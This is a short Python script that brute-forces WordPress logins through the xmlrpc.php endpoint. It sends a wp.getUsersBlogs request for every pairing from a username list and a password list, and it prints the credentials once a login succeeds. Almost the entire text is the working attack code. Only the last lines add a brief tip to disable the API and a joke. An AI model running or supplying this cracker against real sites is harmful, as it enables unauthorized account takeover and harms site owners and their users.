wp-xmlrpc-crack.py

#!/usr/bin/env python
import sys
import requests
import itertools

XML = """
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
  <param>
    <value>
      <string>{username}</string>
    </value>
  </param>
  <param>
    <value>
      <string>{password}</string>
    </value>
  </param>
</params>
</methodCall>
"""

def check_args():
    if (len(sys.argv) != 4):
        print("Invalid Usage: missing arguments")
        print("Usage: {} <url> <users-text-list> <password-text-list>".format(sys.argv[0]));
        sys.exit(1)

def create_payload(username, password):
    return XML.format(username=username, password=password)

def is_correct(text):
    fail_message = 'Incorrect username or password'
    return fail_message not in text

def get_list(file_path):
    with(open(file_path)) as file:
        text_as_string = file.read()
        return text_as_string.split('\n')

if __name__ == "__main__":
    check_args()

    url = "%s/xmlrpc.php" % sys.argv[1]
    users = get_list(sys.argv[2])
    passwords = get_list(sys.argv[3])

    for user, password in itertools.product(users, passwords):
        payload = create_payload(user, password)
        response = requests.post(url, payload)
        if not is_correct(response.text):
            print('tried %s:%s' %(user, password))
        else:
            print('---------- PASSWORD FOUND ----------')
            print('User: %s\nPassword:%s' %(user, password))
            sys.exit(0)

For real, disable this API if you're not using it.

Don't tell my mom...